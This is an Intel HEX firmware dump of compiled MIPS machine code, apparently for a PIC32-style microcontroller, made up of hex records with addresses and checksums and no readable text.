:10de40000800bd270800e00300000000e8ffbd2730\n:10de50001400bfaf1000beaf21f0a003211080005e\n:10de60001800c2a300a0023cdc5642249000428c61\n:10de7000060040100000000000a0023cdc564224d6\n:10de80009400428c040040140000000021100000a7\n:10de9000eff7400b0000000001000424e30d410fe8\n:10dea000000000001800c393300002240c0062142c\n:10deb0000000000000a0023cdc5642249800428c86\n:10dec0000100422cff00443088bf033ce0606294b4\n:10ded000c418827ce06062a4c1f7400b000000001f\n:10dee00000a0023cdc5642249800428c0100422ce7\n:10def000ff00443088bf033ce06062948410827c61\n:10df0000e06062a40000000021200000e30d410f4a\n:10df1000000000002118400000a0023cdc56422412\n:10df20009000428c2b106200f7ff401400000000ac\n:10df300000a0023cdc5642249800428cff00423094\n:10df400001004230ff00443088bf033ce06062942f\n:10df5000c418827ce06062a400a0023cdc5642242b\n:10df60009800428cff00423001004230ff004430f4\n:10df700088bf033ce06062948410827ce06062a40d\n:10df800001000424e30d410f000000000000000028\n:10df900021200000e30d410f000000002118400087\n:10dfa00000a0023cdc5642249400428c2b106200fc\n:10dfb000f7ff4014000000000100022421e8c00324\n:10dfc0001400bf8f1000be8f1800bd270800e003ab\n:10dfd00000000000e8ffbd271400bfaf1000beaf77\n:10dfe00021f0a00377f8400f0000000088bf033c39\n:10dff000e0606294c418027ce06062a488bf033cc5\n:10e00000e0606294010004248410827ce06062a4d9\n:10e0100088bf023cd060428c200042300600401491\n:10e020000000000088bf023cd060428c40004230bb\n:10e0300004004014000000002110000028f8400bec\n:10e040000000000088bf033ce060629401000424eb\n:10e05000c418827ce06062a488bf033ce0606294e4\n:10e060008410027ce06062a488bf023cd060428cd5\n:10e0700020004230060040100000000088bf023c33\n:10e08000d060428c4000423004004010000000008c\n:10e090002110000028f8400b0000000001000224bd\n:10e0a00021e8c0031400bf8f1000be8f1800bd27e9\n:10e0b0000800e00300000000e0ffbd271c00bfaf28\n:10e0c0001800beaf1400b0af21f0a0032000c4af11\n:10e0d0002400c5af2110c0002800c2a32000d08fab\n:10e0e000010002262000c2af2800c29342100200a5\n:10e0f000ff0042302400c48f21280000213040005e\n:10e10000e3bc400f00000000000002a22800c29300\n:10e110002000c48f2400c58f21304000214b410fc7\n:10e12000000000002800c2932000c38f211062006d\n:10e130002000c2af2800c29342100200ff0042300c\n:10e140002400c38f211862002800c29342100200ed\n:10e15000ff004230212060000100052421304000f2\n:10e16000e3bc400f00000000211840002000c28fd7\n:10e17000000043a021e8c0031c00bf8f1800be8f21\n:10e180001400b08f2000bd270800e003000000004d\n:10e19000f8ffbd270400beaf21f0a00388bf033cf9\n:10e1a000c060629401000424c418827cc06062a430\n:10e1b00088bf033cc0606294010004248410827c08\n:10e1c000c06062a4888080af21e8c0030400be8fd5\n:10e1d0000800bd270800e00300000000f8ffbd278d\n:10e1e0000400beaf21f0a00388bf033cc06062946e\n:10e1f000c418027cc06062a488bf033cc060629403\n:10e200008410027cc06062a488bf023cd060428c53\n:10e210004001427cff00443088bf033ce0606294d0\n:10e22000c418827ce06062a488bf023cd060428c4b\n:10e230008001427cff00443088bf033ce060629470\n:10e240008410827ce06062a401000224888082af96\n:10e2500021e8c0030400be8f0800bd270800e003ca\n:10e2600000000000f8ffbd270400beaf21f0a003ae\n:10e270000800c4af0800c28fff00423001004230e6\n:10e28000ff00443088bf033ce061628c8473827c71\n:10e29000e06162ac0800c28fff00423001004230f2\n:10e2a000ff00443088bf033ce061628cc47b827c09\n:10e2b000e06162ac21e8c0030400be8f0800bd2706\n:10e2c0000800e00300000000d0ffbd272c00bfaf16\n:10e2d0002800beaf21f0a0033000c4af3400c5afaa\n:10e2e0003800c6af3c00c7af00a0023cdc1c442491\n:10e2f0003000c58fcbb8400f000000002000c2af37\n:10e300002000c28f04004014000000002110000013\n:10e31000e0f8400b0000000000a0023cdc56422464\n:10e32000cc00428c090040100000000000a0023c1c\n:10e33000dc1c442400a0023cdc1c45242000c68fc9\n:10e3400051bb400f000000002000c2af3c00c28f54\n:10e350001000a2af4000c28f1400a2af4400c28fd1\n:10e360001800a2af00a0023cdc1c44242000c58f92\n:10e370003400c68f3800c78fe6f8400f0000000059\n:10e3800021e8c0032c00bf8f2800be8f3000bd27be\n:10e390000800e00300000000e0ffbd271c00bfaf45\n:10e3a0001800beaf21f0a0032000c4af2400c5af09\n:10e3b0002800c6af2c00c7af00a0023cdc1c4424e0\n:10e3c0002000c58f2400c68f214b410f00000000a4\n:10e3d00000a0023cdc1c43242400c28f21106200f8\n:10e3e0002a000324000043a02800c28f4218020024\n:10e3f0002c00c28f401002003400c48f1000a4af64\n:10e400003800c48f1400a4af2120600000a0033c9a\n:10e41000dc1c6524213040003000c78f10f9400f0c\n:10e42000000000000100022421e8c0031c00bf8f8f\n:10e430001800be8f2000bd270800e0030000000088\n:10e44000e8ffbd271400bfaf1000beaf21f0a0034e\n:10e450001800c4af1c00c5af2000c6af2400c7af72\n:10e460001800c38fcccc023ccdcc423419006200e2\n:10e4700010100000c2100200c01002001800c2af4d\n:10e480001c00c28f00004290088282a31c00c28f31\n:10e4900001004224148282af1c00c28f1c8282af12\n:10e4a0002c00c28f208282af2000c28f288282afd0\n:10e4b0002400c28fff004230098282a32800c28f4d\n:10e4c000ff004230108282a302000224808082a3d7\n:10e4d000c40c410f0000000088bf023c0010032460\n:10e4e000641043ac88bf023c681040ac80bf023c63\n:10e4f000000a40ac88bf033c6060629401000424c1\n:10e500000421827c606062a488bf033c2061629425\n:10e51000444a027c206162a488bf033cd0606294bc\n:10e520000421027cd06062a488bf033c2061629415\n:10e530000400027c206162a480bf023c000a40ac5f\n:10e5400080bf023c100a40ac1800c28fffff43247a\n:10e5500080bf023c200a43ac80bf023c00800334f1\n:10e56000080a43ac88bf023c1c000324c41043ac1f\n:10e5700088bf023c18000324c81043ac88bf023c8b\n:10e5800000100324341043ac88bf023c0010032465\n:10e59000641043ac88bf023c00100324681043acf5\n:10e5a00021e8c0031400bf8f1000be8f1800bd27e4\n:10e5b0000800e00300000000b8fdbd274402bfaf23\n:10e5c0004002beaf21f0a0034802c4af4c02c5af69\n:10e5d000010002243400c2af3800c22721204000cd\n:10e5e00030000524000206247152410f0000000093\n:10e5f0003802c0a300a0023cdc5642249c00448c9c\n:10e6000000a0023cdc564224a400458c00a0023c41\n:10e61000dc564224a800438c00a0023cdc56422475\n:10e62000ac00428c00a0063cdc56c624b000c98c6d\n:10e6300000a0063cdc56c624c800c88c00a0063cde\n:10e64000dc56c624bc00c6902138c00000a0063ca1\n:10e65000dc56c6248c00c68c3800ca271000aaaf2e\n:10e660001400a9af1800a8af00a0083c99570825ce\n:10e670001c00a8af2000a7af2400a6af4c02c68f95\n:10e680002800a6af010006242c00a6af21306000b0\n:10e6900021384000d9f9400f000000002118400047\n:10e6a00000a0023cdc564224b000428c0400621000\n:10e6b0000000000021100000d3f9400b0000000012\n:10e6c0003000c0afbef9400b000000003000c28f28\n:10e6d0003000c3272110620008004390300002245c\n:10e6e00002006210000000003400c0af3000c28f92\n:10e6f000010042243000c2af3800c2272120400070\n:10e700007b4b410f00000000211840003000c28ff9\n:10e710002b104300edff4014000000003400c28fb6\n:10e72000040040100000000021100000d3f9400b4d\n:10e73000000000003800c2274802c48f2128400092\n:10e74000574a410f000000000100022421e8c003e5\n:10e750004402bf8f4002be8f4802bd270800e0037d\n:10e7600000000000c0ffbd273c00bfaf3800beafb7\n:10e770003400b0af21f0a0034000c4af4400c5afe7\n:10e780004800c6af4c00c7af6000c38f6c00c28f9b\n:10e790002800c3a32c00c2a31800c0af2000c0a350\n:10e7a0006800c28f05004010000000000100022434\n:10e7b0002100c2a3f1f9400b000000000200022476\n:10e7c0002100c2a32100c3935400c28f180062002d\n:10e7d0006400c28f1000a2af4000c48f4400c58ff8\n:10e7e00000a0023cdc1c462412380000b8fa400f9e\n:10e7f0000000000004004014000000002110000090\n:10e80000a0fa400b000000009480828f04004010aa\n:10e810000000000021100000a0fa400b00000000e2\n:10e820006400c28f060040100000000001000424b4\n:10e83000e30d410f0000000020fa400b0000000033\n:10e8400020fa400b000000006400c28f0c00401052\n:10e850000000000021200000e30d410f0000000037\n:10e86000211840006400c28f2b10430004004010a8\n:10e870000000000021100000a0fa400b0000000082\n:10e8800088bf023ca061428c40004230eeff401045\n:10e89000000000002100c3935400c28f18006200e2\n:10e8a0004800c38f4c00c28f2b104300ff00423042\n:10e8b000211840005800c28f2610620000a0033cbf\n:10e8c000dc1c642400a0033cdc1c65241230000026\n:10e8d00021384000a5fb400f000000000400401458\n:10e8e0000000000021100000a0fa400b0000000012\n:10e8f0002800c29345004010000000002000c0a383\n:10e900001c00c0af1c00c28f1800c2af70fa400bd1\n:10e910000000000000a0023cdc1c43241800c28f51\n:10e9200021106200000050901c00c28fc210020033\n:10e930005c00c38f2110620000004290211840004b\n:10e940001c00c28fff00423027100200ff0042303f\n:10e9500007004230212060002128400029ba400fe2\n:10e960000000000006000216000000001c00c28f1c\n:10e97000010042241c00c2af65fa400b00000000f9\n:10e980001800c38f1c00c28f231062001800c2af92\n:10e990001c00c0af2800c3931c00c28f0500621486\n:10e9a00000000000010002242000c2a378fa400bfe\n:10e9b000000000001800c28f010042241800c2affe\n:10e9c0002100c3935400c28f180062001800c28f48\n:10e9d000121800002b104300ceff4014000000006e\n:10e9e0002000c29304004014000000002110000029\n:10e9f000a0fa400b000000002800c2931800c38f4b\n:10ea000023106200010042241800c2af2c00c393ff\n:10ea1000010002240c006214000000001800c38fe3\n:10ea200000a0023cdc1c4224211062005000c48f74\n:10ea3000212840005400c68f47b9400f0000000055\n:10ea4000a0fa400b000000001800c38f00a0023c99\n:10ea5000dc1c4224211062005000c48f2128400099\n:10ea60005400c68f214b410f000000005000c38f9f\n:10ea70005400c28f21106200000040a05400c28fd9\n:10ea800021e8c0033c00bf8f3800be8f3400b08f38\n:10ea90004000bd270800e00300000000e8ffbd279c\n:10eaa0001400bfaf1000beaf21f0a0031800c4af28\n:10eab0001c00c5af1800c48f1c00c58f574a410ffa\n:10eac000000000000100022421e8c0031400bf8ff1\n:10ead0001000be8f1800bd270800e00300000000f2\n:10eae000d8ffbd272400bfaf2000beaf21f0a00398\n:10eaf0002800c4af2c00c5af3000c6af3400c7af8c\n:10eb00003000c28f148282af3400c28f348282af51\n:10eb10001482828f21204000212800003400c68ffb\n:10eb20007152410f0000000088bf023c0002033c0c\n:10eb3000741043ac88bf023c2061428c020042301a\n:10eb40001b004010000000002800c28f421002008d\n:10eb500003000424212840002800c68f0800072451\n:10eb6000b20b410f0000000000a0023cdc56422422\n:10eb70009c00438c00a0023cdc564224f000428cf6\n:10eb800018006200122000001800c4afeb51023cd4\n:10eb90001f8542341800c38f190062001010000056\n:10eba0004211020021204000240e410f000000000d\n:10ebb00001000424e30d410f00000000fffa400ba8\n:10ebc000000000003800c28f0c0040100000000060\n:10ebd00021200000e30d410f00000000211840003b\n:10ebe0003800c28f2b1043000400401000000000ca\n:10ebf000211000009ffb400b0000000088bf023c7a\n:10ec0000d060428c00014230eeff40140000000052\n:10ec100014fb400b000000003800c28f0c004010b5\n:10ec20000000000021200000e30d410f0000000063\n:10ec3000211840003800c28f2b1043000400401000\n:10ec400000000000211000009ffb400b00000000ae\n:10ec500088bf023cd060428c00014230eeff401081\n:10ec60000000000029fb400b000000003800c28fac\n:10ec70000c0040100000000021200000e30d410fb7\n:10ec800000000000211840003800c28f2b10430004\n:10ec90000400401000000000211000009ffb400b0a\n:10eca0000000000088bf023cd060428c000142306e\n:10ecb000eeff40140000000001000424e30d410faa\n:10ecc0000000000041fb400b000000003800c28f34\n:10ecd0000c0040100000000021200000e30d410f57\n:10ece00000000000211840003800c28f2b104300a4\n:10ecf0000400401000000000211000009ffb400baa\n:10ed00000000000088bf023cd060428c000142300d\n:10ed1000eeff40100000000001000424e30d410f4d\n:10ed2000000000001400c2af140002241000c2a3af\n:10ed300087fb400b000000005efb400b0000000062\n:10ed40003800c28f0c00401000000000212000009d\n:10ed5000e30d410f00000000211840003800c28f71\n:10ed60002b104300040040100000000021100000a0\n:10ed70009ffb400b0000000088bf023cd060428c2b\n:10ed800000014230eeff40140000000001000424a6\n:10ed9000e30d410f0000000076fb400b0000000077\n:10eda0003800c28f0c00401000000000212000003d\n:10edb000e30d410f00000000211840003800c28f11\n:10edc0002b10430004004010000000002110000040\n:10edd0009ffb400b0000000088bf023cd060428ccb\n:10ede00000014230eeff4010000000002120000032\n:10edf000e30d410f00000000212040001400c58fea\n:10ee0000280006244eb5400f000000000300401407\n:10ee1000000000008cfb400b000000001000c293bb\n:10ee2000ffff43241000c3a3c3ff401400000000f1\n:10ee300001000424e30d410f000000002800c38fef\n:10ee4000cccc023ccdcc4234190062001010000042\n:10ee5000c21802002c00c28f1800620012180000b5\n:10ee6000c0100300ffff42242120400001000524c0\n:10ee7000510c410f000000000100022421e8c003f2\n:10ee80002400bf8f2000be8f2800bd270800e003ac\n:10ee900000000000e0ffbd271c00bfaf1800beafa0\n:10eea00021f0a0032000c4af2400c5af2800c6afe6\n:10eeb0002c00c7af1400c0a31500c0a32800022473\n:10eec0001600c2a32400c28f000042901400c2a307\n:10eed000010002241000c2afedfb400b0000000057\n:10eee0001500c29313004014000000002400c38fdb\n:10eef0001000c28f211062000000429021204000cb\n:10ef00001400c3931600c2932128600021304000f2\n:10ef10004eb5400f00000000060040140000000045\n:10ef20002400c38f1000c28f2110620000004290a5\n:10ef30001500c2a32400c38f1000c28f21106200ed\n:10ef400000004290212040001400c3931600c29399\n:10ef500021286000213040004eb5400f0000000025\n:10ef600011004014000000002400c38f1000c28f65\n:10ef70002110620000004290212040001500c39340\n:10ef80001600c29321286000213040004eb5400f8a\n:10ef900000000000040040140000000021100000e8\n:10efa00020fc400b000000001000c28f0100422432\n:10efb0001000c2af1000c38f2800c28f2b10620058\n:10efc000c7ff4014000000001500c3931400c29353\n:10efd0002b106200ff004230211840002c00c28f2d\n:10efe00003006210000000001500c2931400c2a3c9\n:10eff0001000c0af1afc400b000000002400c38fbb\n:10f000001000c28f211062000000429021204000b9\n:10f010001400c3931600c2932128600021304000e1\n:10f020004eb5400f00000000070040100000000037\n:10f030002000c38f1000c28f21106200000040a08a\n:10f0400017fc400b000000002000c38f1000c28f8f\n:10f050002110620001000324000043a01000c28fb1\n:10f06000010042241000c2af1000c38f2800c28fdd\n:10f070002b106200e1ff4014000000000100022498\n:10f0800021e8c0031c00bf8f1800be8f2000bd27e1\n:08f090000800e003000000008d\n:020000040000fa\n:020000041d03da\n:10f09800b0ffbd274c00bfaf4800beaf4400b7afbc\n:10f0a8004000b6af3c00b5af3800b4af3400b3afe2\n:10f0b8003000b2af2c00b1af2800b0af218880007b\n:10f0c80021f0a0005800a6af218000000000c483f2\n:10f0d8000100d227d40080101200a4a32500022426\n:10f0e8001c0082140200c22721b800002b0004244f\n:10f0f8002d0005243000072420000624ffff53803c\n:10f10800ffff5e240c0064122c00632a0d006014bb\n:10f11800000000009a0065520800f73614006716d0\n:10f12800010042240400f736ffff5380ffff5e24ee\n:10f13800f6ff64162c00632a0200f7364cfc400bdd\n:10f14800010042240a006616010042244cfc400bd0\n:10f158000100f7367f4c410f21282002ffff0324ce\n:10f16800daff431021f0400235fc400b0100102665\n:10f17800059d033ca13c63242110730000004290cc\n:10f188000200e432feffe3320bb864000800e43208\n:10f19800fbffe332040042302128c0037a0040100c\n:10f1a8000bb864006efc400b211000002198600031\n:10f1b8000100de270000c38340280200c0100200bf\n:10f1c800059d063ca13cc6242120c3000000849074\n:10f1d8002110a2002198530004008430f3ff80140a\n:10f1e800d0ff62262e0004246e00641021a80000bf\n:10f1f8006c00042410000624008005340201641009\n:10f208000100de276d006428800080147300042448\n:10f21800ed006410740064289a00801475000424ba\n:10f22800e600641078000424ff0064141200a3a30d\n:10f238008000f736c000e33288006014201e177c77\n:10f24800190262045800a68f1000e332080160100a\n:10f258005800a48f5800a78f0000e38c0400e7240f\n:10f268005800a7afc327030021b0600021a0800089\n:10f27800212880000600a104235803002b180b0046\n:10f28800232004000300f73621b0600123a0830087\n:10f298000300a016c000f23225a8d4020100b52e42\n:10f2a80040000324d30143124100432ef8006014a8\n:10f2b80080000324b701431201000324c000032483\n:10f2c800f60043561200b383010003241102801292\n:10f2d8001200a3a3059d043c38468424030003249c\n:10f2e80002001324befc400b15000a242198c0001c\n:10f2f8000400858c010069242034037c2b388502a6\n:10f308009a01e014ff002331f601b4500000858c07\n:10f31800f6ff6a14080084241200a6a32198c000ee\n:10f328002a187502e1006054209c157c2a18b30243\n:10f338000ba86302050040100040e3320300e332eb\n:10f348002b180300231043000040e332050060102f\n:10f358002a1862022a18a202231055000a10030074\n:10f368002a186202d80060540400e3320400e23232\n:10f37800f70140100800e232b6fd400b219800006a\n:10f388004cfc400b010042242a0002244300621274\n:10f398002e000424211860022110000094ff641438\n:10f3a80021a800000100c3832a000424ae016410d0\n:10f3b8000040f736059d053ca13ca5242120a3006b\n:10f3c800000084900400843089ff80100100de274b\n:10f3d80040201500c0a815000100de2721a89500cf\n:10f3e80021a8a3020000c383059d073ca13ce72494\n:10f3f8002120e3000000849004008430f4ff80148e\n:10f40800d0ffb5267ffc400b6c0004246300042465\n:10f418002f006410640064282700805064000424ce\n:10f428007f00601458000424211000024c00bf8f94\n:10f438004800be8f4400b78f4000b68f3c00b58fa0\n:10f448003800b48f3400b38f3000b28f2c00b18fe6\n:10f458002800b08f0800e0035000bd278901600430\n:10f468001000e3327d0060105800a38f5800a78f6a\n:10f478000000f68c21a000000400e724a6fc400b45\n:10f488005800a7af6f0004247301641470000424ab\n:10f498001200a3a38ffc400b4000f7365800a78f3b\n:10f4a8000000e28c0100de270100a3800400e724ad\n:10f4b8007bfc400b5800a7af0300641069000424cc\n:10f4c800590064541200a3a38ffc400b1200a3a39d\n:10f4d8005800a58f0000a48c1000e6320400a72471\n:10f4e800c32f0400002e0500021a04002518a300eb\n:10f4f800202c037c6f00c0101200a5a30100632418\n:10f50800ff0063300200632c6b0060541000a4a35a\n:10f518001000a5a31100a4a3020012241000b6270e\n:10f528005800a7af0300a0120800f4322b18b2024b\n:10f538000b90a3022b98420223105200ffff943233\n:10f548000a1013004000801221984000ffff552642\n:10f558005ffd400bffff1224000044800100d62607\n:10f568007f4c410fffffb526271002002b10020029\n:10f57800218002022110c002f7ffb21621282002c2\n:10f58800d3fe80520000c4836dfd400b200004248c\n:10f598007f4c410fffff7326271002002b1002003b\n:10f5a800218002022000042421282002f8ff60168e\n:10f5b8000000000036fc400b0000c4831200a3a327\n:10f5c8008ffc400bc000f7361200a3a35800a38f8e\n:10f5d8000000658c040066244701a01021b0a0003b\n:10f5e8000000a380480160100100a3242390650057\n:10f5f80001006324ffff6480fdff805423906500b1\n:10f608004bfd400b5800a6af1000e3322138a00094\n:10f618000a38c30025b8f70081fc400b0000c383fb\n:10f628000f0164101200a3a31200b6274bfd400b74\n:10f63800010012247f4c410fffff732627100200a0\n:10f648002b1002002180020220000424f9ff60161a\n:10f658002128200255fd400bffff13240000768c63\n:10f6680021a0000004006324a6fc400b5800a3afaf\n:10f678000000838c040084245800a4afc32703002f\n:10f6880021b0600021a080009ffc400b2128800051\n:10f698000eff4012010003241200b3832a187502da\n:10f6a80023ff60102a18b302209c157ccffc400b66\n:10f6b8001200b3a31000a4a3010012241000b6275f\n:10f6c8004bfd400b5800a7af1c0060102398530057\n:10f6d8000200e232ab0040100100e2320100e432e5\n:10f6e8002d0002242b0003240a106400212040006e\n:10f6f8007f4c410f21282002271002002b10020006\n:10f70800218002020a0060120800e232300004245c\n:10f718007f4c410f21282002271002002b100200e5\n:10f72800ffff7326f9ff6016218002020800e2320b\n:10f73800ffff4230e4fd400b2400a2af0800e23294\n:10f74800ffff4230030060122400a2af56004010b1\n:10f75800200004240200e232860040100100e23258\n:10f768000100e4322d0002242b0003240a10640057\n:10f77800212040007f4c410f212820022710020041\n:10f788002b10020021800202ffffa926c0a8090051\n:10f79800401809002000e232059d043c28468424d4\n:10f7a80021a895001800b5af21b8690040281400b9\n:10f7b8001c00a5afffff42302000a2affdff0224ce\n:10f7c8001800e21280a809004000022459004212e1\n:10f7d8004100422e220040148000022443004212bd\n:10f7e80027181500c0000224200042121800a28f1a\n:10f7f8001200a4837f4c410f212820022710020009\n:10f808002b100200218002021800a78ff8ffe724be\n:10f818001800a7affdfff726fdff0224eaffe21656\n:10f82800fcffb5262400a28f29fe40500000c483a7\n:10f8380027fe605a0000c483200004247f4c410f37\n:10f8480021282002271002002b100200ffff732638\n:10f85800f9ff60162180020236fc400b0000c483c9\n:10f86800e4ff40561200a4831800a28f0000468cc3\n:10f878000400478c2120c002d833410f2128800280\n:10f8880021204000212860000a000624bf32410fd1\n:10f8980021380000300042242024027cfffd400b68\n:10f8a8001200a4a3200004247f4c410f2128200229\n:10f8b800271002002b100200ffff7326a5ff60121d\n:10f8c80021800202200004247f4c410f21282002bd\n:10f8d800271002002b100200ffff7326f1ff6016ad\n:10f8e80021800202d8fd400b0200e2321c00a48fe6\n:10f8f800041864000610b6022000a6322510620023\n:10f908000628b402059d073cd046e324059d073c24\n:10f91800e446e4240b10a6002000a58f0a188500f1\n:10f928000f0042302118620000006480fffd400b88\n:10f938001200a4a3271017001c00a68f041046006d\n:10f948000620f6022000e332252044000610f402c7\n:10f958000b2043000700843030008424fffd400b57\n:10f968001200a4a337008050c0280500a9fd400b51\n:10f978001200b3a385ff4010ffffa926dffd400b4f\n:10f98800200004245fff401020000424befd400b2b\n:10f9980000000000640080121200a3a303000324e7\n:10f9a80002001324000105242120000070fe400bf2\n:10f9b80011000d242198c000010069242b3884020d\n:10f9c800026705002034037c00510400e7ffe014bf\n:10f9d800ff0023313f0094502b20c5020029050069\n:10f9e800f4ff6d1425208a011200a6a3cafc400b5f\n:10f9f8002198c00001000324500080121200a3a324\n:10fa080003000324020013244000052421200000e1\n:10fa180089fe400b16000d242198c00001006924be\n:10fa28002b388402426705002034037cc050040050\n:10fa3800ceffe014ff002331caff94102b20c5022b\n:10fa4800c0280500f4ff6d1425208a011200a6a322\n:10fa5800cafc400b2198c000f3fe64141200a3a353\n:10fa68008efc400b2000f7365800a68f0000d58c7e\n:10fa78000200c3830400c6245800a6af7efc400bd6\n:10fa88000200de275800a58f0700a424f8ff0324ee\n:10fa980024188300080066245800a6af0000768c5e\n:10faa800a6fc400b0400748c0700c424f8ff032450\n:10fab800242083000400858c0000838c08008424a3\n:10fac8005800a4af2120a00021b060009ffc400b8b\n:10fad80021a0a000c2ff805000290500a9fd400b0d\n:10fae8001200b3a32b28c50209fea01000000000d5\n:10faf800a9fd400b1200b3a3059d163cc846d626a7\n:10fb08007afd400b2128c0025800a6af4bfd400be0\n:10fb1800219000000a00c32eeffd6010059d043cf3\n:10fb2800a9fd400b010013241000c32e9cff601098\n:10fb380003000324a9fd400b010013240800c32e71\n:10fb4800b0ff601003000324a9fd400b010013243b\n:10fb5800ffff42302400a2afd7fd400b21980000e0\n:020000040000fa\n:020000041d03da\n:10fb6800d8ffbd272400bfaf2000beaf21f0a003ff\n:10fb78002800c4af2c00c5af3000c6af3400c7aff3\n:10fb880000a0023cdc1c44242800c58fcbb8400fe1\n:10fb9800000000001800c2af1800c28f0400401413\n:10fba8000000000021100000f7fe400b00000000dc\n:10fbb8003400c28f1000a2af00a0023cdc1c442419\n:10fbc8001800c58f2c00c68f3000c78ffdfe400f70\n:10fbd8000000000021e8c0032400bf8f2000be8f72\n:10fbe8002800bd270800e00300000000e8ffbd274b\n:10fbf8001400bfaf1000beaf21f0a0031800c4afbf\n:10fc08001c00c5af2000c6af2400c7af00a0023c4f\n:10fc1800dc1c44241800c58f1c00c68f214b410fe3\n:10fc28000000000000a0023cdc1c43241c00c28f22\n:10fc3800211062002a000324000043a02000c48f82\n:10fc480000a0023cdc1c45242400c68f2800c78f76\n:10fc58004d00410f000000000100022421e8c0030c\n:10fc68001400bf8f1000be8f1800bd270800e003e6\n:10fc780000000000c0fdbd273c02bfaf3802beaf88\n:10fc880021f0a0034002c4af010002242c00c2af3f\n:10fc98003000c2272120400030000524000206243d\n:10fca8007152410f000000003002c0a300a0023cc6\n:10fcb800dc5642249c00448c00a0023cdc564224c2\n:10fcc800a400458c00a0023cdc564224b000428cc3\n:10fcd80000a0033cdc566324bc006390213860001c\n:10fce80000a0033cdc5663248c00668c3000c327dc\n:10fcf80000a0083c995708251000a8af1400a7af2a\n:10fd08001800a6af1c00a0af010006242000a6af73\n:10fd180021306000213840008dff400f00000000b6\n:10fd28002118400000a0023cdc564224b000428c5e\n:10fd380004006210000000002110000076ff400b54\n:10fd4800000000002800c0af61ff400b0000000069\n:10fd58002800c28f2800c3272110620008004390a2\n:10fd68003000022402006210000000002c00c0af26\n:10fd78002800c28f010042242800c2af3000c227e9\n:10fd8800212040007b4b410f00000000211840005b\n:10fd98002800c28f2b104300edff40140000000024\n:10fda8002c00c28f04004010000000002110000049\n:10fdb80076ff400b000000003000c2274002c48fcd\n:10fdc80021284000574a410f00000000010002248a\n:10fdd80021e8c0033c02bf8f3802be8f4002bd2716\n:10fde8000800e00300000000e8ffbd271400bfafd3\n:10fdf8001000beaf21f0a0031800c4af1c00c5afaf\n:10fe08001800c48f1c00c58f574a410f000000001e\n:10fe18000100022421e8c0031400bf8f1000be8f28\n:10fe28001800bd270800e00300000000c0ffbd2740\n:10fe38003c00bfaf3800beaf3400b0af21f0a00324\n:10fe48004000c4af4400c5af4800c6af4c00c7afc0\n:10fe58005400c38f6000c28f2800c3a32c00c2a324\n:10fe68001800c0af2000c0af2400c0a35c00c28f40\n:10fe78000500401000000000010002242400c2a375\n:10fe8800a6ff400b00000000020002242400c2a3c9\n:10fe98002400c3934c00c28f180062005800c28f20\n:10fea8001000a2af5c00c28f1400a2af4000c48f44\n:10feb8004400c58f00a0023cdc1c46241238000018\n:10fec800c000410f000000000400401400000000c2\n:10fed800211000004600410b000000009480828f32\n:10fee8000400401000000000211000004600410bf3\n:10fef800000000005800c28f0600401000000000fb\n:10ff080001000424e30d410f00000000d7ff400b5f\n:10ff180000000000d7ff400b000000005800c28f0f\n:10ff28000c0040100000000021200000e30d410fec\n:10ff380000000000211840005800c28f2b10430019\n:10ff48000400401000000000211000004600410b92\n:10ff58000000000088bf023ca061428c4000423093\n:10ff6800eeff401000000000f480828f0400401073\n:10ff780000000000211000004600410b00000000b6\n:10ff88002800c29345004010000000002000c0afc8\n:10ff98001c00c0af1c00c28f1800c2af1600410b76\n:10ffa8000000000000a0023cdc1c43241800c28fa3\n:10ffb80021106200000050901c00c28fc210020085\n:10ffc8005000c38f211062000000429021184000a9\n:10ffd8001c00c28fff00423027100200ff00423091\n:10ffe80007004230212060002128400029ba400f34\n:10fff8000000000006000216000000001c00c28f6e\n:020000041d04d9\n:10000800010042241c00c2af0b00410b000000009d\n:100018001800c38f1c00c28f231062001800c2afe3\n:100028001c00c0af2800c3931c00c28f05006214d7\n:1000380000000000010002242000c2af1e00410b96\n:10004800000000001800c28f010042241800c2af4f\n:100058002400c3934c00c28f180062001800c28f9e\n:10006800121800002b104300ceff401400000000bf\n:100078002000c28f0400401400000000211000007e\n:100088004600410b000000002800c2931800c38fef\n:1000980023106200010042241800c2af2c00c39351\n:1000a800010002240c006214000000001800c38f35\n:1000b80000a0023cdc1c4224211062004800c48fce\n:1000c800212840004c00c68f47b9400f00000000af\n:1000d8004600410b000000001800c38f00a0023c3e\n:1000e800dc1c4224211062004800c48f21284000f3\n:1000f8004c00c68f214b410f000000004800c38f01\n:100108004c00c28f21106200000040a04c00c28f3a\n:1001180021e8c0033c00bf8f3800be8f3400b08f89\n:100128004000bd270800e00300000000e8ffbd27ed\n:100138001400bfaf1000beaf21f0a0031800c4af79\n:100148001c00c5af2000c6af2400c7af1800c38f7e\n:10015800cccc023ccdcc4234190062001010000017\n:10016800c2100200c01002001800c2af1800c38fee\n:100178002000c28f18006200121000001800c2afe1\n:100188001c00c28f00004290088282a31c00c28f0c\n:1001980001004224148282af1c00c28f1c8282afed\n:1001a80001000224288282af01000224098282a36e\n:1001b8002400c28f208282af00a0023cdc56422479\n:1001c800cc00428c060040140000000000a0023c55\n:1001d800dc564224c400428c0b0040100000000092\n:1001e8001800c28f421002001800c2af0982829321\n:1001f80040100200ff004230098282a32882828fc9\n:1002080040100200288282afc40c410f0000000099\n:1002180001000224808082a388bf023c00100324ce\n:10022800641043ac88bf023c681040ac80bf023cfd\n:10023800000a40ac88bf033c20616294444a027cb7\n:10024800206162a488bf033cd06062940421027cd0\n:10025800d06062a488bf033c6060629401000424fb\n:100268000421827c606062a488bf033c20616294a0\n:100278000400027c206162a480bf023c000a40acfa\n:1002880080bf023c100a40ac1800c28fffff432415\n:1002980080bf023c200a43ac80bf023c008003348c\n:1002a800080a43ac88bf023c1c000324c41043acba\n:1002b80088bf023c18000324c81043ac88bf023c26\n:1002c80000100324341043ac88bf023c0010032400\n:1002d800641043ac88bf023c00100324681043ac90\n:1002e80021e8c0031400bf8f1000be8f1800bd277f\n:1002f8000800e00300000000d0ffbd272c00bfafbe\n:100308002800beaf21f0a0033000c4af3400c5af51\n:100318003800c6af3c00c7aff48080af00a0023cf5\n:10032800dc564224cc00428c060040140000000039\n:1003380000a0023cdc564224c400428c0900401054\n:10034800000000003400c28f421002003400c2af27\n:100358003c00c28f40100200348282afdd00410ba6\n:10036800000000003c00c28f348282af3800c28f88\n:10037800148282af1482828f21204000212800003d\n:100388003c00c68f7152410f0000000088bf023c3c\n:100398000002033c741043ac88bf023c2061428ccd\n:1003a800020042301b004010000000003000c28fe5\n:1003b8004210020003000424212840003000c68fa8\n:1003c80008000724b20b410f0000000000a0023c07\n:1003d800dc5642249c00438c00a0023cdc5642249c\n:1003e800f000428c18006200122000002000c4af